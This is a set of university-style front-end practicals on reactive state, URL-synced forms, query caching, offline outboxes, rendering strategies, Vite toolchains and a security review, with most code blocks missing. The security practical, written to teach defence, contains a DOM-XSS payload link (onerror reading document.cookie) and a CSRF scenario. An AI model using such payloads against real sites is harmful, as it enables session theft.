| State Ownership Contract | Pure controlled and uncontrolled modes supported seamlessly without conflicting state updates. | Supports both modes but shows brief flicker or console warnings on switch. | Only supports one mode (controlled or uncontrolled). | State is entangled and out of sync with external props. |
| WAI-ARIA & Keyboard Semantics | Flawless roving tabindex, correct ARIA cross-linking (aria-controls, aria-labelledby), Arrow, Home/End, and mode handling. | Keyboard navigation works, but missing aria-controls or Home/End keys. | Uses standard Tab key to focus every single tab button; missing roving tabindex. | No ARIA roles or keyboard handlers implemented. |
| Headless Robustness | Behavioral logic is completely decoupled from visual CSS; works across different themes and layouts. | Headless logic works but assumes specific layout or wrapper tags. | Visual styles are hard-coded into behavioral components. | Breaking styles breaks component interaction. |
7 - Reactive Dependency Graph and State Derivation
Practical 07 - Reactive Dependency Graph and State Derivation
Related: Chapter 7 · Lecture slides
Objective
Build a transparent, educational reactive dependency graph in TypeScript from scratch. You will implement the core primitives that power modern reactive architectures:
- Signals (State Sources): Observable containers that register subscribers on read and notify on write.
- Computed Values (Pure Derivations): Lazy, cached derivations that re-evaluate only when an upstream dependency changes.
- Effects (Synchronization Boundaries): Side-effect observers that react to dependency invalidations and execute explicit cleanup callbacks.
You will trace exact execution timelines, observe dynamic dependency switching, verify cache reuse, and demonstrate how cycles and infinite loops occur when side effects mutate source state.
Educational Model Notice: This laboratory constructs a pedagogical reactive runtime (~100 lines of code) to make dependency discovery and caching mechanics visible. To keep concepts accessible, it deliberately omits advanced production features such as topological glitch-free resolution (diamond dependency sorting), weak reference garbage collection, multi-priority concurrent scheduling, and compiler-level AST transforms.
Prerequisites and Workspace Setup
You need Node.js (v18+) and the TypeScript compiler.
Initialize your workspace:
Ensure your tsconfig.json enforces strict mode:
Stage 1 - The Signal Primitive and Subscriber Context
Reactivity requires discovering which computations depend on which data. In src/reactive.ts, implement a global subscriber stack and the createSignal primitive:
flowchart LR
Effect["Active Effect / Computed"] -->|"1. Reads signal.get()"| Signal["Signal Value Store"]
Signal -->|"2. Registers Active Subscriber"| SubList["Set<Subscriber>"]
Signal -->|"3. Returns Value"| Effect
Caller["User Code"] -->|"4. Calls signal.set(newVal)"| Signal
Signal -->|"5. Notifies all"| SubListStage 2 - Lazy Computed Values and Invalidation
A computed value represents derived data. It must never perform eager calculation if nobody is reading it, and it must never recompute if its upstream dependencies have not changed.
Implement createComputed:
Verify that calling get() three times without modifying source signals invokes fn() exactly once.
Stage 3 - Effects and Resource Cleanup
An effect bridges pure reactive state to imperative external systems (DOM rendering, network dispatch, storage persistence).
Implement createEffect with explicit cleanup:
Stage 4 - Verification Matrix and Cycle Analysis
1. Cycle Hazard Experiment
In src/main.ts, deliberately construct a cyclic dependency:
Observe the resulting browser crash / stack overflow (Maximum call stack size exceeded). Explain why production systems (like Vue’s queue watcher and React’s loop detection) enforce maximum update depth thresholds (e.g., 50 or 100 iterations) and throw explicit architectural errors.
2. Verification Matrix
| # | Action | Expected Observable Result | Status |
|---|---|---|---|
| V1 | Read a computed value 5 times sequentially without signal mutation | Underlying calculation function logs execution exactly once (cached). | |
| V2 | Mutate unrelated signal | Computed function is not re-evaluated. | |
| V3 | Mutate source dependency of an effect | Previous cleanup callback executes before the new effect body runs. | |
| V4 | Conditional branch: computed(() => useA() ? sigA() : sigB()) | When useA switches to false, mutations to sigA no longer trigger recalculation. | |
| V5 | Dispose effect using teardown handle | Future signal changes do not trigger the disposed effect. |
Evaluation Rubric
| Criterion | Exemplary (4) | Proficient (3) | Developing (2) | Inadequate (1) |
|---|---|---|---|---|
| Reactivity Architecture | Clean implementation of subscriber stack, signal access, and notification decoupling. | Core reactivity works, but leaks subscribers across re-runs. | Manual subscription passing; lacks automatic dependency discovery. | Broken reactivity requiring explicit manual trigger calls. |
| Derived State & Caching | Computed values are strictly lazy; cached values served on repeated reads; invalidated only when dirty. | Computed values work, but calculate eagerly upon dependency change. | Calculates on every read; lacks caching. | Computed values fail to update when sources change. |
| Effect & Cleanup Lifecycle | Robust cleanup lifecycle (onCleanup runs before re-run and on disposal); prevents memory leaks. | Effect re-runs correctly, but cleanup is executed at the wrong phase. | Effects run, but lack any cleanup mechanism. | Effects cause uncaught infinite recursion on simple updates. |
| Architectural Boundaries | Clear distinction between pure derivation and imperative effects; models cycle detection and limitations. | Explains limitations, but misses the distinction between derivation and effects. | Confuses state derivation with effects. | No understanding of why cyclic mutations break reactive graphs. |
8 - URL-Driven State Architecture and Form Boundaries
Practical 08 - URL-Driven State Architecture and Form Boundaries
Related: Chapter 8 · Lecture slides
Objective
Build a resilient, URL-synchronized catalogue and administrative edit workflow that treats the browser address bar as a primary, shareable source of truth.
You will implement:
- A serializable URL state contract that parses, validates, and serializes search filters, sort criteria, and pagination.
- An intentional history transition model distinguishing
pushState(navigating pages) fromreplaceState(filtering). - A two-tier input architecture that separates immediate keystroke drafts from committed URL parameters and background API queries.
- A form state machine managing touched, dirty, validation, and unsaved changes confirmation during route transitions.
Prerequisites and Workspace Setup
You need Node.js (v18+) and a modern bundler setup (Vite with TypeScript and React or Vue).
Initialize your practical workspace:
Stage 1 - Serializable URL Contract and Boundary Parser
The address bar accepts arbitrary strings from external sources. Raw query strings must be treated as untrusted boundaries and validated against strict schemas before entering application state.
1.1 State Contract Definition
In src/types.ts:
1.2 Boundary Parser and Serializer
In src/url-state.ts, implement resilient parsing with defaults and clean serialization:
Verify that omitting default values keeps the URL clean (e.g. displaying /products rather than /products?q=&category=all&sort=name&page=1).
Stage 2 - History Semantics and Two-Tier Debouncing
Do not push a new browser history entry on every keystroke. Separate immediate typing from committed URL state:
flowchart LR
Typing["User Keystrokes\n(Local Input Draft)"] -->|"300ms Debounce / Enter"| Commit["Commit to URL\n(history.replaceState)"]
PageClick["Next Page Click\n(Pagination)"] -->|"Immediate Navigation"| Push["Commit to URL\n(history.pushState)"]
Popstate["Browser Back / Forward\n(popstate event)"] -->|"Update State"| AppView["Synchronize View"]Implement useURLSync:
- Local Draft: Bind the search text input to an immediate local state variable so typing feels fluid with zero input lag.
- Debounced Commit: Debounce URL updates by 300ms. Use
history.replaceStateso that back-button navigation does not trap the user in twenty partial keystroke states. - Discrete Actions: When the user changes pagination or sorting, use
history.pushStateso that each page change creates an explicit back-button step. - Popstate Listener: Listen to
window.addEventListener('popstate')to update local state when the user navigates using the browser’s native Back/Forward buttons.
Stage 3 - Form State Machine and Unsaved Changes Guard
When a user clicks “Edit” on an item, the application transitions to /products/:id/edit.
3.1 Detached Draft State
Never bind the edit form directly to cached server data. Initialize a local, detached draft:
3.2 Form Reducer and Dirty State
Calculate dirty state purely: isDirty = JSON.stringify(current) !== JSON.stringify(initial).
3.3 Navigation Guard
Attach a beforeunload browser event handler and route transition interceptor: if isDirty is true and the user attempts to click away or close the tab, prompt for confirmation before discarding changes.
Stage 4 - Verification Matrix and Security Boundaries
1. What Must NEVER Enter the URL
| Classification | Forbidden Data Examples | Architectural Hazard | Proper Storage Location |
|---|---|---|---|
| Credentials & Auth | Bearer tokens, passwords, API keys | Leaked via browser history, server access logs, and HTTP Referer headers. | In-memory token store, httpOnly secure cookies. |
| Personal Identifiers | National civil IDs, phone numbers, health records | Indexed by external analytics; visible over shoulders. | Private application state / Encrypted session. |
| Volatile Drafts | 2,000-word essay drafts, unsaved forms | Exceeds URL length limits; triggers encoding corruption. | Component draft state / IndexedDB offline store. |
2. Verification Matrix
| # | Action | Expected Observable Result | Status |
|---|---|---|---|
| V1 | Apply filters q=residence and page=3, copy URL to incognito window | Incognito session opens exactly at page 3 with residence query pre-filled and filtered. | |
| V2 | Manually edit URL to ?page=-99&sort=INVALID | Boundary parser safely falls back to page=1 and sort=name without application crash. | |
| V3 | Type "certificate" into search bar, then click browser Back | Returns directly to the previous page/view without stepping through individual keystrokes. | |
| V4 | Navigate: Page 1 $\rightarrow$ Page 2 $\rightarrow$ Page 3 $\rightarrow$ Click Back | Restores Page 2, URL reflects ?page=2, and list updates correctly. | |
| V5 | Edit product title, do not save, click navigation link | Browser alerts that unsaved changes will be lost before navigating away. |
Evaluation Rubric
| Criterion | Exemplary (4) | Proficient (3) | Developing (2) | Inadequate (1) |
|---|---|---|---|---|
| URL State Architecture | Strict typing, boundary parser with fallback defaults, clean serialization omitting defaults, bidirectional popstate sync. | URL parsing works, but crashes on malformed params or serializes redundant defaults. | Partial URL sync; missing pagination or sort support. | No URL state; all filters stored exclusively in memory. |
| History & Debounce Semantics | Flawless distinction between pushState for actions and replaceState for debounced typing; zero history pollution. | Debounces typing, but pushes history entries for every keystroke. | No debouncing; rapid typing creates lagging renders. | Direct page reloads required to update URL state. |
| Form Lifecycle & Reducer | Pure reducer managing draft, touched, dirty, and errors; detached from server cache; unsaved changes guard. | Form manages state, but mutates shared server data directly or lacks dirty tracking. | Basic form; validation occurs only on final submission. | Uncontrolled inputs with no state tracking or navigation safety. |
| Security & Privacy Perimeter | Zero sensitive data in URLs; strict validation of URL search params; clear boundary definition. | No sensitive data in URL, but lacks validation against XSS in query parameters. | Passes sensitive IDs or form draft payloads via query string. | Stores sensitive secrets or passwords directly in URL parameters. |
9 - Cached Server-State Client with Optimistic Mutations
Practical 09 - Cached Server-State Client with Optimistic Mutations
Related: Chapter 9 · Lecture slides
Objective
Build a resilient, framework-agnostic asynchronous server-state cache manager (a micro TanStack Query) from scratch in TypeScript.
You will implement:
- Deterministic Query Key Hashing: Storing and retrieving queries by composite serialized keys.
- Stale-While-Revalidate (SWR) Caching: Serving cached snapshots instantly while asynchronously fetching fresh server data in the background.
- In-Flight Request Deduplication: Merging concurrent duplicate calls into a single shared network promise.
- Transient Error Retry with Exponential Backoff: Automatically retrying 5xx and network failures while respecting cancellation signals.
- Optimistic Mutations with Snapshot Rollback: Updating cache entries immediately upon user action, reverting gracefully if the server rejects the request.
Prerequisites and Workspace Setup
You need Node.js (v18+) and the TypeScript compiler.
Initialize your practical workspace:
Stage 1 - Deterministic Query Key Serialization
Query keys represent the semantic identity of a server request. Keys often contain nested objects (such as { sort: 'date', page: 2 }), which cannot be compared with standard referential equality (===).
In src/query-key.ts, implement a deterministic serializer that sorts object keys alphabetically:
Verify that ['permits', { page: 1, sort: 'name' }] and ['permits', { sort: 'name', page: 1 }] produce identical hash strings: ["permits",{"page":1,"sort":"name"}].
Stage 2 - Stale-While-Revalidate and Request Deduplication
In src/query-cache.ts, implement the core SWR cache engine:
flowchart TD
Req["queryClient.fetch(key, fn)"] --> CheckKey{"Key in Memory?"}
CheckKey -- Yes & Fresh --> FreshData["Return cached data immediately\n(Zero network request)"]
CheckKey -- Yes & Stale --> StaleServe["Serve cached data to UI\n(status: 'success', isStale: true)"]
StaleServe --> DedupCheck{"In-flight promise active?"}
CheckKey -- No --> DedupCheck
DedupCheck -- Yes --> ReusePromise["Attach to existing network Promise"]
DedupCheck -- No --> NewFetch["Create new fetch with AbortController"]
NewFetch --> Network["Execute HTTP Request"]
Network --> Update["Update Cache & notify subscribers"]Stage 3 - Abortable Fetch with Exponential Backoff
In src/fetch-retry.ts, implement a transport wrapper that handles network dropouts and 5xx server errors with randomized exponential jitter:
Stage 4 - Optimistic Mutations and Verification Matrix
1. The Optimistic Mutation Contract
In src/mutation-manager.ts, implement mutation execution with snapshot rollback:
2. Verification Matrix
| # | Action | Expected Observable Result | Status |
|---|---|---|---|
| V1 | Mount three components calling client.fetch(['permits']) simultaneously | Exact single network call dispatched (inFlight deduplicated); all three resolve same data. | |
| V2 | Read cached data within staleTime | Resolves synchronously from memory in 0ms without network dispatch. | |
| V3 | Simulate 503 Service Unavailable on fetch | Client retries 3 times with exponentially increasing intervals before throwing error. | |
| V4 | User edits permit title with optimistic update | UI updates title instantly. Simulated network error 500 triggers rollback to original title. | |
| V5 | Mutation succeeds on server | Triggers client.invalidate(['permits']), marking queries stale and triggering background refresh. |
Evaluation Rubric
| Criterion | Exemplary (4) | Proficient (3) | Developing (2) | Inadequate (1) |
|---|---|---|---|---|
| Cache Key Architecture | Deterministic key sorting, nested object support, zero collision between similar query structures. | Keys serialized, but sensitive to object property insertion order. | Flat string keys only; lacks object parameter serialization. | Cache uses URL strings directly with no key structure. |
| Deduplication & SWR | Flawless promise reuse for concurrent requests; stale data served instantly while background revalidation executes. | In-flight deduplication works, but lacks SWR background update capability. | Caches data, but duplicate simultaneous calls create duplicate HTTP requests. | No caching; every component fetch initiates independent network calls. |
| Retry & Backoff Engine | Exponential backoff with jitter; fails fast on 4xx client errors; respects AbortSignal cancellation. | Backoff implemented, but retries client 4xx errors or lacks jitter. | Retries with fixed timeout delay; no backoff. | No retry logic; single network dropout causes permanent failure. |
| Optimistic Rollback | Clean snapshot preservation, instant UI preview, automatic rollback on failure, authoritative confirmation on success. | Optimistic update works, but leaves UI in corrupted state if server rejects request. | Pessimistic updates only; UI waits for server round-trip. | Directly mutates local state without server synchronization. |
10 - Offline Outbox and Resilient Synchronization
Practical 10 - Offline Outbox and Resilient Synchronization
Related: Chapter 10 · Lecture slides
Objective
Build a resilient, local-first offline synchronization engine for a municipal field-inspection application using browser-native IndexedDB and a durable Outbox Queue.
You will engineer a client-side architecture that:
- Survives Complete Disconnection: Allows inspectors to conduct inspections, draft notes, and record safety violation verdicts in offline basements with 0ms local latency.
- Maintains Transactional Integrity: Commits domain record updates and outbox synchronization commands atomically using IndexedDB transactions.
- Recovers Seamlessly Across Browser Reboots: Persists queued operations across page reloads, tab crashes, and device restarts.
- Guarantees Exactly-Once Server Processing: Enforces client-generated
Idempotency-Keyheaders to prevent duplicate record creation during network dropouts and retries. - Classifies and Recovers from Failures: Distinguishes retriable transient errors (HTTP 503 / dropped sockets) with exponential backoff from permanent validation rejections (HTTP 422), surfacing actionable conflict states to the user.
flowchart TD
subgraph BrowserClient["Browser Runtime (Field Inspection Tablet)"]
UI["Inspector UI / Form"] -->|1. Submit Verdict| Tx["IndexedDB Atomic Transaction"]
Tx -->|Write| Store["'inspections' Object Store\n(localId, serverId, status: 'pending_sync')"]
Tx -->|Write| Outbox["'outbox' Object Store\n(operationId, endpoint, payload, attempts)"]
Engine["Outbox Synchronization Engine\n(Triggered by: online event, visibility, timer)"] -->|2. Read Unsynced| Outbox
Engine -->|3. Probe Heartbeat| NetCheck{"Real Egress?"}
NetCheck -->|Yes| Dispatch["4. HTTP POST /api/inspections\nHeaders: Idempotency-Key: operationId"]
end
subgraph RemoteBackend["Municipal Server API"]
Dispatch --> Gateway["API Gateway / Idempotency Filter"]
Gateway --> ServerDB[("Municipal Database")]
end
Dispatch -->|200 OK Ack| Ack["5. Delete Outbox Record\nUpdate Local Store: status: 'synced'"]
Dispatch -->|503 / Network Drop| Retry["5b. Increment attempts\nSchedule Exponential Backoff"]
Dispatch -->|409 Conflict / 422 Fatal| Conflict["5c. Mark Outbox: 'failed'\nPrompt User Resolution"]Workspace Setup
Create a dedicated TypeScript practical directory:
Ensure your tsconfig.json targets ES2022 with "moduleResolution": "node" and "lib": ["DOM", "ES2022"].
Architecture and Core Types
Define the core domain contracts in src/types.ts:
Stage-by-Stage Implementation
Stage 1: IndexedDB Storage & Transactional Atomicity
Directly interacting with the callback-based indexedDB API is error-prone. Wrap database initialization and transactions in clean Promise boundaries:
Requirement: Atomic Local Commit
When an inspector finishes a review, write both the updated inspection record and the new outbox command within the same atomic database transaction. If storage quota is exceeded or writing fails halfway through, the entire transaction rolls back, preventing orphaned outbox tasks:
Stage 2: Outbox Consumer with Exponential Backoff
Construct src/outboxEngine.ts. The synchronization engine continuously observes the outbox queue, executing items sequentially while respecting backoff rules:
Stage 3: Connectivity Probing & Triggers
Never rely solely on window.addEventListener('online') or navigator.onLine. Browsers frequently report navigator.onLine = true when trapped behind a public Wi-Fi portal or when connected to a router with no internet uplink.
Implement a composite sync listener:
Stage 4: Conflict Detection and Version Vectors
When an inspector reconciles an inspection report, the municipal server checks whether another supervisory officer modified the same record while the field inspector was offline:
sequenceDiagram
autonumber
participant Client as Inspector Tablet
participant Outbox as Outbox Engine
participant Server as Municipal Server
Note over Client: Device offline: edits inspection (v1 -> v2 locally)
Note over Server: Supervisor edits inspection via desktop portal (v1 -> v2 on server)
Client->>Outbox: Reconnection occurs
Outbox->>Server: PUT /api/inspections/104\nHeader: If-Match: "v1"\nPayload: { verdict: 'pass' }
Server-->>Outbox: 409 Conflict\nPayload: { serverVersion: 2, currentRecord: { verdict: 'conditional' } }
Outbox->>Client: Transition record to 'conflict' state
Note over Client: UI presents Side-by-Side Resolution Modal to InspectorVerification and Testing Matrix
Validate your implementation against these required failure and recovery test scenarios:
| Test Case | Simulation Condition | Expected Behavioral Guarantee |
|---|---|---|
| 1. Cold Reboot Survival | Queue 3 outbox inspections, immediately execute window.location.reload(). | All 3 operations remain in IndexedDB with queued status and uncorrupted payloads. |
| 2. Duplicate Prevention | Trigger sync while network drops midway through response. Retry with identical operationId. | Server recognizes existing Idempotency-Key and returns acknowledgment without duplicating database records. |
| 3. Transient Backoff | Mock API returns 503 Service Unavailable for 2 attempts, then 200 OK. | Engine backs off ($500\text{ms} \rightarrow 1000\text{ms}$), retries twice, and transitions record to synced. |
| 4. Permanent 422 Rejection | Submit inspection with missing mandatory inspector signature (422 Unprocessable). | Engine halts retries immediately, marks outbox item failed, and surfaces validation message in the UI. |
| 5. Optimistic Concurrency | Server returns 409 Conflict (record modified by supervisor while inspector offline). | Record moves to conflict state; local draft is not deleted; inspector prompted with visual merge modal. |
Deliverables & Submission Checklist
-
src/types.ts: Clean domain and outbox TypeScript interfaces. -
src/db.ts: IndexedDB wrapper with atomic two-store transaction support. -
src/outboxEngine.ts: Durable queue processor featuring exponential backoff, retry limits, and status transitions. -
src/connectivity.ts: Egress heartbeat verifier that avoids trusting naivenavigator.onLine. -
tests/outbox.test.ts: Automated test suite covering the 5 scenarios in the verification matrix.
11 - Rendering Topology Comparison: CSR, SSR, and Static Delivery
Practical 11 - Rendering Topology Comparison: CSR, SSR, and Static Delivery
Related: Chapter 11 · Lecture slides
Objective
Evaluate and measure the concrete performance, architectural, and data-flow trade-offs between Client-Side Rendering (CSR), Server-Side Rendering (SSR), and Static Site Generation (SSG) across identical route requirements: the Municipal Public Permit Catalogue.
By completing this laboratory, you will:
- Instrument the Performance Triangle: Measure runnable metrics - Time to First Byte (TTFB), First Contentful Paint (FCP), total transferred JavaScript bytes, and Time to Interactive (TTI) - across different topologies.
- Audit the State Handoff Boundary: Inspect the serialized data payload transferred from server to client to prevent secret leakage and double-fetch overhead.
- Analyze Hydration Costs: Observe the “uncanny valley” where server-rendered HTML is visible on screen but unclickable until client hydration finishes walking the DOM.
- Distinguish Runnable Measurements from Conceptual Topologies: Conduct hands-on measurements for the core three topologies (CSR, SSR, SSG), while evaluating advanced topologies (Streaming and Islands) through structured architectural analysis.
flowchart TD
subgraph TopologyComparison["The Three Measured Topologies"]
CSR["1. Client-Side Rendering (CSR)\n- Server sends: Empty HTML Shell (<div id='root'>) + 180KB JS Bundle\n- Browser executes: fetch('/api/permits') → calculates DOM → paints"]
SSG["2. Static Site Generation (SSG)\n- Build process: Pre-renders full HTML at compile time\n- Server sends: 12KB static HTML from CDN (<20ms TTFB)"]
SSR["3. Server-Side Rendering (SSR)\n- Request arrives: Server queries DB, renders HTML string\n- Server sends: Dynamic HTML + serialized state JSON (<script id='__DATA__'>)"]
endWorkspace Setup
Set up a minimal Node.js / TypeScript environment with local instrumentation tools:
Ensure your tsconfig.json targets ES2022 with "moduleResolution": "node".
The Shared Catalogue Specification
All three implementations must render the exact same public data model and layout:
Stage-by-Stage Implementation
Stage 1: The Client-Side Rendered (CSR) Baseline
In CSR, the web server acts merely as a dumb static file host. The server returns a near-empty HTML shell:
In src/csr-bundle.ts, implement the client orchestrator:
- When mounted, fire
fetch('/api/permits'). - Await the JSON response.
- Dynamically construct HTML strings or DOM elements and insert them into
#root. - Measure the latency gap between DOMContentLoaded and First Contentful Paint.
Stage 2: Pre-rendered Static Delivery (SSG / Edge HTML)
In SSG, the HTML is pre-computed at build time. There is zero server execution latency at request time:
Verification Requirement:
Serve dist/ssg/index.html using a simple HTTP server (npx serve dist/ssg). Verify that:
- TTFB is under 25ms.
- The document content is visible immediately without requiring client JavaScript execution.
Stage 3: Server-Side Rendering (SSR) & State Handoff
In SSR, the server receives the incoming HTTP request, queries the database at request time, and generates dynamic HTML tailored to query parameters (e.g. ?category=Hospitality):
Stage 4: The Hydration Script and Handoff Audit
In src/ssr-client-hydrate.ts, implement the client hydration phase:
Security Audit Check:
Inspect the generated HTML source. Verify that:
- No internal connection strings, database passwords, or unscrubbed administrative notes exist in
<script id="__PERMIT_DATA__">. - All serialized JSON text escapes
<as\u003cto eliminate Cross-Site Scripting (XSS) script breakout vulnerabilities.
Architectural Comparison Matrix
Record your measurements and architectural observations in the following comparison table:
| Dimension | Client-Side Rendering (CSR) | Server-Side Rendering (SSR) | Static Site Generation (SSG) |
|---|---|---|---|
| Initial HTML Size | ~1.5 KB (skeleton only) | 12–40 KB (full markup + JSON) | 10–30 KB (full markup, 0 JSON) |
| Time to First Byte (TTFB) | ~20 ms (static edge host) | 80–300 ms (server DB query latency) | <20 ms (global CDN cache) |
| First Contentful Paint (FCP) | Slow (blocked by JS download & API) | Fast (instant paint of HTML) | Fastest (instant paint of static HTML) |
| Time to Interactive (TTI) | Synchronized with FCP | Lagging FCP (the “uncanny valley”) | Immediate (or zero if no JS needed) |
| SEO Indexability | Reliant on search bot JS execution | Universal (raw HTML available) | Universal (raw HTML available) |
| Server Compute Overhead | Zero (static assets only) | High (CPU & memory per request) | Zero at runtime (build-time only) |
| Content Freshness | Always fresh (client queries API) | Real-time per request | Stale until next build/revalidation |
Optional Conceptual Extensions
- Streaming SSR with Suspense: Analyze how flushing HTTP headers and the outer App Shell immediately while streaming slow table rows in subsequent chunks eliminates the TTFB penalty of traditional SSR.
- Island Architecture (Astro / Fresh): Evaluate how isolating client hydration strictly to the
.btn-inspectbuttons (leaving 95% of the page as unhydrated static HTML) eliminates the client JavaScript bundle overhead.
Deliverables & Submission Checklist
-
src/types.ts: Domain models for the permit catalogue. -
dist/csr/index.html&src/csr-bundle.ts: Fully working client-rendered baseline. -
src/ssg-builder.ts: Static HTML compilation script. -
src/ssr-server.ts: Node.js HTTP server rendering dynamic HTML with safe serialized state handoff. -
src/ssr-client-hydrate.ts: Non-destructive DOM hydration script. - Completed Architectural Comparison Matrix with local measurements.
12 - Inspect a Modern Front-End Toolchain and Module Graph
Practical 12 - Inspect a Modern Front-End Toolchain and Module Graph
Related: Chapter 12 · Lecture slides
Objective
Trace a front-end codebase through the complete modern delivery pipeline: from raw TypeScript source files and package resolution, through unbundled native ESM development with Hot Module Replacement (HMR), to production chunking, dynamic code splitting, tree shaking, and artifact auditing.
You will:
- Observe Development vs. Production Duality: Inspect the unbundled HTTP/2 module stream during local development and contrast it with production chunk bundling.
- Implement Dynamic Code Splitting: Isolate an expensive reporting and analytics module into a separate, on-demand asynchronous chunk (
import()). - Verify Chunk Separation: Mathematically verify that heavy charting and PDF dependencies are completely absent from the initial application entry bundle.
- Audit Source Maps and Asset Fingerprints: Verify reverse stack trace mapping from production minified bundles back to exact TypeScript source lines, and confirm content-hashing for cache busting.
- Enforce Environment Boundaries: Audit build-time environment replacements (
import.meta.env) to guarantee zero leakage of private credentials.
flowchart TD
subgraph DevelopmentExecution["Development Mode (Vite Dev Server)"]
BrowserDev["Browser (Native ESM)"] <-->|Individual HTTP module requests| DevServer["Dev Server (esbuild transform on demand)"]
DevServer <-->|WebSocket HMR| BrowserDev
end
subgraph ProductionBuildPipeline["Production Build (Rollup / Production Bundler)"]
Src["Source Modules (DAG)"] --> Split["Dynamic import() Boundary"]
Split --> EntryChunk["Chunk 1: app.8f31c.js (45KB)\nInitial Shell + Core Router"]
Split --> VendorChunk["Chunk 2: vendor.2a1d.js (70KB)\nShared Framework Dependencies"]
Split --> AsyncChunk["Chunk 3: reports.9c4e.js (210KB)\nHeavy Analytics & Charting"]
endWorkspace Setup
Initialize a clean TypeScript Vite project:
Configure vite.config.ts:
Stage-by-Stage Implementation
Stage 1: The Multi-Route Application Scaffold
Construct a modular application featuring a lightweight core view and a heavy, data-dense reporting dashboard.
In src/heavyAnalytics.ts, simulate a heavy charting engine:
In src/main.ts, establish a dynamic code-splitting boundary:
Stage 2: Observing Native ESM in Development
Start the development server:
- Open your browser’s Developer Tools and navigate to the Network tab.
- Load
http://localhost:5173. - Observe the Request Waterfall: Notice that Vite does not serve a bundled
bundle.js. Instead, you see individual HTTP requests for/src/main.ts,/src/style.css, etc. - Observe the Absence of
heavyAnalytics.ts: Verify thatheavyAnalytics.tsis not requested upon initial page load. - Click “Load Financial Audit (Heavy)”:
- Watch the Network panel.
- Observe the browser dynamically dispatching an HTTP GET request for
/src/heavyAnalytics.tsonly upon user interaction.
Stage 3: Production Bundling & Chunk Verification
Compile the application for production:
Examine the output emitted into dist/assets/:
Verification Requirement:
Open dist/assets/main-*.js in a text editor and search for HEAVY_CHART_CONFIG or generateMunicipalAuditReport.
- Expected Result: Neither string appears in
main-*.js. The heavy code has been strictly isolated into the lazy-loadedheavyAnalytics-*.jschunk. - Cache-Busting Check: Confirm that both emitted JavaScript files contain an 8-character content hash (
main-[hash].js), ensuring immutable CDN caching.
Stage 4: Source Map Reverse-Audit
Serve the production build locally:
- In DevTools, deliberately trigger an error inside
heavyAnalytics.ts: - Rebuild and reload
vite preview. - Open the browser Console.
- Verify that DevTools uses the
.mapfile to map the error directly back tosrc/heavyAnalytics.ts:line 4, rather than displaying minifiedheavyAnalytics-6d4b2e81.js:1:380.
Stage 5: Environment Variable Boundary Audit
Add an environment variable test:
Run npx vite build and inspect the output:
- Verify that
VITE_MUNICIPAL_API_URLwas replaced at build time with a plain string literal. - Verify that
DATABASE_SECRET(without theVITE_prefix) was stripped and replaced withundefined, preventing accidental client leakage.
Verification and Testing Matrix
| Test Case | Method / Tool | Expected Behavioral Guarantee |
|---|---|---|
| 1. Unbundled Dev Boot | Network Tab on vite dev | Zero bundle files; individual .ts modules served as native ESM. |
| 2. Dynamic Code Splitting | Initial page load vs. button click | heavyAnalytics.ts is only requested over the network after clicking the button. |
| 3. Chunk Isolation | Grep dist/assets/main-*.js | Zero occurrences of generateMunicipalAuditReport in entry bundle. |
| 4. Content Hashing | Change one line in heavyAnalytics.ts | Hash of heavyAnalytics-*.js changes; hash of main-*.js remains identical. |
| 5. Source Map Integrity | Throw Error in production preview | Stack trace points to TypeScript source line, not minified bundle. |
| 6. Secret Isolation | Grep dist/assets/*.js | No un-prefixed environment secrets exist in public client bundles. |
Optional Conceptual Extension: Educational Dependency Crawler
Implement a 30-line educational dependency graph crawler using Node’s fs and regular expressions to detect circular dependencies between modules:
Deliverables & Submission Checklist
-
vite.config.ts: Configured with source maps and chunk splitting. -
src/main.ts&src/heavyAnalytics.ts: Working dynamic import boundary. - Emitted
dist/assets/directory demonstrating isolated chunk sizes. - Verified source map stack trace demonstration.
- Completed Verification and Testing Matrix with recorded measurements.
13 - Security Boundary Review: XSS, CORS, and Authentication Boundaries
Practical 13 - Security Boundary Review: XSS, CORS, and Authentication Boundaries
Related: Chapter 13 · Lecture slides
Objective
Conduct a rigorous threat-model review and hardening exercise on a simulated front-end application boundary. You will identify real-world vulnerabilities across Cross-Site Scripting (XSS), Cross-Origin Resource Sharing (CORS), Cross-Site Request Forgery (CSRF), and authentication token management.
By completing this laboratory, you will:
- Trace Untrusted Input from Source to Sink: Track untrusted strings from URL parameters, API payloads, and form inputs into dangerous DOM execution sinks.
- Eliminate DOM-Based XSS: Replace dangerous injection sinks with safe text rendering, context-aware encoding, and reviewed sanitization.
- Demystify the CORS Boundary: Demonstrate why CORS is a browser-enforced response isolation mechanism rather than a server authorization check.
- Harden Mutation Endpoints against CSRF: Configure
SameSitecookie attributes and custom request headers to eliminate cross-site forged mutations. - Architect Secure Credential Storage: Evaluate the security trade-offs of browser-held bearer tokens in
localStorageversusHttpOnly, Secure, SameSitecookies mediated by a Backend-for-Frontend (BFF).
flowchart TD
subgraph ThreatModel["Front-End Security Threat Model"]
XSS["1. Cross-Site Scripting (XSS)\nUntrusted input injected into innerHTML\n→ Attacker steals session tokens & impersonates user"]
CORS_Pitfall["2. CORS Misconception\nAssuming Access-Control-Allow-Origin prevents unauthorized server writes\n→ Server executes mutation before browser blocks read!"]
CSRF["3. Cross-Site Request Forgery (CSRF)\nAttacker site triggers ambient cookie submission\n→ Unauthorized state change on municipal backend"]
AuthLeak["4. Insecure Token Storage\nStoring JWT access tokens in localStorage\n→ Vulnerable to extraction by any third-party script or XSS"]
endWorkspace Setup
Create a minimal Node.js / TypeScript security test harness:
Ensure your tsconfig.json targets ES2022 with "lib": ["DOM", "ES2022"].
Stage-by-Stage Implementation
Stage 1: Tracing Untrusted Input to Dangerous DOM Sinks
In src/vulnerableSearch.ts, examine this typical search results component:
Exploit Simulation:
If an attacker crafts a malicious link:
https://portal.erbil.gov.krd/search?q=<img src=x onerror="alert(document.cookie)">
When renderSearchSummary receives this string, the browser parses the <img> tag, fails to load src=x, and immediately executes the onerror JavaScript payload inside the trusted origin’s context.
Stage 2: Hardening the Sink (Safe Text & Sanitization)
Refactor renderSearchSummary to enforce Safe Sinks by Default:
Stage 3: Demystifying CORS and Preflight Handshakes
A frequent security misconception is believing that CORS protects APIs against unauthorized access.
In src/corsVerification.ts, simulate a cross-origin HTTP interaction:
Key Architectural Lesson:
If an attacker sends a cross-origin POST /api/permits/104/delete from https://malicious-site.com, a naive server without CSRF defenses will execute the deletion in its database before sending the response back. The browser will then block malicious-site.com from reading the response due to CORS, but the damage is already done!
Stage 4: CSRF Hardening for Cookie-Based Authentication
To prevent cross-site forged mutations, enforce a two-tier defense:
Stage 5: Credential Storage Architecture (BFF vs. LocalStorage)
Compare the security boundaries of single-page application credential architectures:
flowchart TD
